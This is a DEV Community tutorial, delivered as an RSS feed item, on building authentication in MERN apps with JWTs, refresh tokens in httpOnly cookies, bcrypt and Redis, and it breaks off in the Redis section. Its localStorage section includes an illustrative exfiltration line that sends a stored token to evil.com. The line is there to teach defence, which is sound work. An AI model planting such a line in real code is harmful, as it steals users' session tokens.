<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Shafiq Ur Rehman</title>
    <description>The latest articles on DEV Community by Shafiq Ur Rehman (@im-shafiqurehman).</description>
    <link>https://dev.to/im-shafiqurehman</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2818455%2Ffe66a016-1e91-4ff2-931d-f2f9a9fc110e.png</url>
      <title>DEV Community: Shafiq Ur Rehman</title>
      <link>https://dev.to/im-shafiqurehman</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/im-shafiqurehman"/>
    <language>en</language>
    <item>
      <title>Authentication in MERN Apps: JWT, bcrypt, Redis, and OAuth2</title>
      <dc:creator>Shafiq Ur Rehman</dc:creator>
      <pubDate>Wed, 22 Apr 2026 00:38:23 +0000</pubDate>
      <link>https://dev.to/im-shafiqurehman/authentication-in-mern-apps-jwt-bcrypt-redis-and-oauth2-4k23</link>
      <guid>https://dev.to/im-shafiqurehman/authentication-in-mern-apps-jwt-bcrypt-redis-and-oauth2-4k23</guid>
      <description>&lt;h1&gt;
  
  
  Authentication in MERN Apps: JWT, bcrypt, Redis, and OAuth2
&lt;/h1&gt;

&lt;p&gt;Most web app breaches trace back to one failure: weak authentication. In 2023, the MOVEit Transfer breach exposed 60 million records, partly because session tokens were predictable and revocation was nonexistent. This guide walks you through building auth that holds up in production.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Authentication vs. Authorization
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0as5zkughka5jeweklmy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0as5zkughka5jeweklmy.png" alt=" " width="500" height="180"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Authentication answers one question: Who are you? Authorization answers a different question: what are you allowed to do? They are separate systems that work in sequence.&lt;/p&gt;

&lt;p&gt;A user authenticates with an email and password. The server returns a token. That token then determines authorization: which routes the user accesses, which data they read, and which actions they perform.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Definition: Authentication&lt;/strong&gt;&lt;br&gt;
The process of verifying an identity claim. You say you are &lt;a href="mailto:user@email.com"&gt;user@email.com&lt;/a&gt;. The server confirms or denies it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Definition: Authorization&lt;/strong&gt;&lt;br&gt;
The process of checking permissions after identity is confirmed. Even a verified user cannot access another user's private data.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Why traditional sessions break at scale
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Old-school session auth stores a session ID in a database&lt;/li&gt;
&lt;li&gt;Every incoming request triggers a database read to validate that ID&lt;/li&gt;
&lt;li&gt;In a single-server setup, this works fine&lt;/li&gt;
&lt;li&gt;In a distributed system with five Node.js instances running in parallel, each instance has no idea what sessions the others created&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You either run a shared session database (bottleneck), use sticky sessions that route each user to the same server (fragile), or switch to stateless tokens. JWT solves this by encoding identity inside the token itself.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html" rel="noopener noreferrer"&gt;Further reading: OWASP Session Management Cheat Sheet&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. JSON Web Tokens (JWT)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy5mkon1h1rigg0vm46ij.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy5mkon1h1rigg0vm46ij.png" alt=" " width="520" height="120"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A JWT (JSON Web Token) is a base64url-encoded string with three segments separated by dots.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Header:&lt;/strong&gt; Declares the signing algorithm (HS256) and token type (JWT)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload:&lt;/strong&gt; Contains claims, which are statements about the user (userId, role, expiry)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; A cryptographic hash that proves the token came from your server&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;br&gt;
The payload is base64-encoded, not encrypted. Anyone who intercepts a JWT can decode and read its contents. Never store passwords, credit card numbers, or sensitive personal data in a JWT payload.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The signature is what makes tampering detectable. If an attacker intercepts a token and changes the role from "user" to "admin", the signature no longer matches. The server rejects the request with a 403.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;accessToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ACCESS_TOKEN_SECRET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;expiresIn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;15m&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Counter-view:&lt;/strong&gt; JWTs are stateless by design, which means a validly-issued token cannot be revoked before it expires unless you implement blacklisting (covered in Section 4). Some teams prefer opaque tokens backed by a lookup table specifically to retain control over revocation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example: The 2022 Auth0 JWT Confusion Attack
&lt;/h3&gt;

&lt;p&gt;Researchers demonstrated that certain libraries accepted tokens signed with "none" as the algorithm when a server expected HS256. This was a library misconfiguration, not a JWT flaw. The fix: always explicitly reject tokens with an unexpected algorithm in your verification step.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;algorithms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;HS256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://jwt.io/introduction" rel="noopener noreferrer"&gt;Further reading: jwt.io Introduction&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Access Tokens vs. Refresh Tokens
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F601943lks5qcyu6vfw0h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F601943lks5qcyu6vfw0h.png" alt=" " width="500" height="160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using one long-lived token is dangerous. If it is stolen, the attacker has access for days. The dual-token pattern limits damage by design.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;access token&lt;/strong&gt; is short-lived (15 minutes) and stored in React state. It is sent with every API request.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;refresh token&lt;/strong&gt; is long-lived (7 days) and stored in an &lt;code&gt;httpOnly&lt;/code&gt; cookie (a browser cookie that JavaScript cannot read, even if an attacker injects malicious scripts). It is sent only when requesting a new access token.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Access Token&lt;/th&gt;
&lt;th&gt;Refresh Token&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Lifetime&lt;/td&gt;
&lt;td&gt;5-30 minutes&lt;/td&gt;
&lt;td&gt;7-30 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stored in&lt;/td&gt;
&lt;td&gt;React state&lt;/td&gt;
&lt;td&gt;httpOnly cookie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sent with&lt;/td&gt;
&lt;td&gt;Every API request&lt;/td&gt;
&lt;td&gt;Only POST /auth/refresh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Revocable&lt;/td&gt;
&lt;td&gt;Hard without blacklist&lt;/td&gt;
&lt;td&gt;Easy via Redis delete&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;If stolen&lt;/td&gt;
&lt;td&gt;Usable for 15 min max&lt;/td&gt;
&lt;td&gt;Revocable instantly&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Why localStorage is never safe for tokens
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;localStorage is readable by any JavaScript on your page.

Attack flow:
1. Your app loads a third-party analytics script
2. That script's CDN is compromised
3. The injected code runs: fetch('https://evil.com?t=' + localStorage.getItem('token'))
4. The attacker now has your user's token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tokens in React state (memory) are lost on page refresh, so a refresh token is required to restore the session silently. That is a worthwhile trade for the security gain.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example: British Airways Breach (2018)
&lt;/h3&gt;

&lt;p&gt;Attackers injected 22 lines of JavaScript into British Airways' checkout page. The script read form fields and sent them to a malicious server. Any access tokens in localStorage would have been equally exposed. Storing tokens in memory does not prevent form scraping, but it does prevent token theft via XSS (Cross-Site Scripting, where attackers inject malicious code into your pages).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" rel="noopener noreferrer"&gt;Further reading: OWASP XSS Prevention Cheat Sheet&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  4. The Complete Auth Flow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcpcsn9s354ynqeynjr2s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcpcsn9s354ynqeynjr2s.png" alt=" " width="500" height="180"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The full auth flow runs in five steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Login:&lt;/strong&gt; React sends &lt;code&gt;{ email, password }&lt;/code&gt; to &lt;code&gt;POST /auth/login&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Token issuance:&lt;/strong&gt; The server verifies credentials, generates both tokens, stores the refresh token in Redis, sets the refresh token in an httpOnly cookie, and returns the access token in the response body&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API requests:&lt;/strong&gt; React attaches &lt;code&gt;Authorization: Bearer &amp;lt;accessToken&amp;gt;&lt;/code&gt; to every protected request&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Silent refresh:&lt;/strong&gt; When an API call returns 403 (token expired), an Axios interceptor calls &lt;code&gt;POST /auth/refresh&lt;/code&gt;. The browser sends the httpOnly cookie automatically. The server issues a new access token. The interceptor retries the original request. The user sees nothing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logout:&lt;/strong&gt; The server deletes the refresh token from Redis and clears the cookie. React clears its state.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Axios interceptor for silent refresh&lt;/span&gt;
&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;interceptors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;original&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;original&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_retry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;original&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_retry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/auth/refresh&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;withCredentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="nf"&gt;setAccessToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;accessToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="nx"&gt;original&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Authorization&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Bearer &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;accessToken&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;original&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;br&gt;
Never pass the refresh token manually in request bodies. The httpOnly cookie travels automatically. Passing it in a body or header exposes it to JavaScript and defeats its purpose.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Example: Token Rotation at Spotify
&lt;/h3&gt;

&lt;p&gt;Spotify's mobile apps use a variation of this pattern. The app holds a short-lived access token in memory. When it expires mid-playback, a background refresh happens without interrupting the user's listening session. The user never sees a login screen unless the refresh token itself expires or is revoked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc6749" rel="noopener noreferrer"&gt;Further reading: RFC 6749 - The OAuth 2.0 Authorization Framework&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Password Hashing with bcrypt
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9e30oeccg9xzh1pf6jja.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9e30oeccg9xzh1pf6jja.png" alt=" " width="500" height="140"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Storing plain-text passwords guarantees that a database breach becomes a full account takeover across every platform where your users reuse that password. Studies show 60-65% of users reuse passwords across multiple sites.&lt;/p&gt;

&lt;p&gt;bcrypt solves this with three properties:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Irreversible:&lt;/strong&gt; You cannot reverse a bcrypt hash back to the original password&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Salted:&lt;/strong&gt; A random string (called a salt) is added before hashing, so two identical passwords produce different hashes. This defeats rainbow tables (precomputed databases of common password hashes used by attackers).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Slow:&lt;/strong&gt; bcrypt applies its function 2^n times, making brute-force attacks (trying millions of guesses) computationally expensive
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;saltRounds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;passwordHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;bcrypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;saltRounds&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// On login:&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isValid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;bcrypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;passwordHash&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  saltRounds performance trade-off
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;saltRounds&lt;/th&gt;
&lt;th&gt;Time per hash&lt;/th&gt;
&lt;th&gt;Attacker guesses/second&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;~1ms&lt;/td&gt;
&lt;td&gt;~1,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;~10ms&lt;/td&gt;
&lt;td&gt;~100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12 (recommended)&lt;/td&gt;
&lt;td&gt;~40ms&lt;/td&gt;
&lt;td&gt;~25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;~160ms&lt;/td&gt;
&lt;td&gt;~6&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;40ms per login is undetectable to your users. For an attacker trying millions of guesses, 25 attempts per second per machine is a serious obstacle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Counter-view:&lt;/strong&gt; Very high saltRounds values (14+) add noticeable latency on high-traffic login endpoints. Some teams run bcrypt on a dedicated worker thread pool to avoid blocking the Node.js event loop during peak load.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example: LinkedIn 2012 Breach
&lt;/h3&gt;

&lt;p&gt;LinkedIn stored 6.5 million passwords with SHA-1 (fast, unsalted). Within days, the majority were cracked from public rainbow tables. A 2016 follow-up revealed the actual breach was 117 million accounts. bcrypt with salting would have made bulk cracking impractical.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html" rel="noopener noreferrer"&gt;Further reading: OWASP Password Storage Cheat Sheet&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Redis for Token Management
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fga7j9bh59fyhwnq85ojd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fga7j9bh59fyhwnq85ojd.png" alt=" " width="500" height="130"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Redis is an in-memory key-value store (it holds data in RAM, not on disk). For auth operations that run on every request, this speed difference matters significantly.&lt;/p&gt;

&lt;p&gt;Redis handles three auth tasks well:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Refresh token storage:&lt;/strong&gt; Store the token with a 7-day TTL (Time To Live, meaning Redis deletes it automatically when it expires). On logout, delete it immediately to invalidate the session.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;JWT blacklisting:&lt;/strong&gt; JWTs are stateless and cannot be revoked by default. Add a &lt;code&gt;jti&lt;/code&gt; (JWT ID) claim to each token. On forced logout, store the &lt;code&gt;jti&lt;/code&gt; in Redis with a TTL matching the token's expiry. Check the blacklist in your middleware.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Rate limiting login attempts:&lt;/strong&gt; Track failed login attempts per IP address. After 10 attempts in 15 minutes, return 429 (Too Many Requests). Redis's atomic &lt;code&gt;INCR&lt;/code&gt; command handles concurrent requests without race conditions (situations where two processes interfere with each other's data).&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
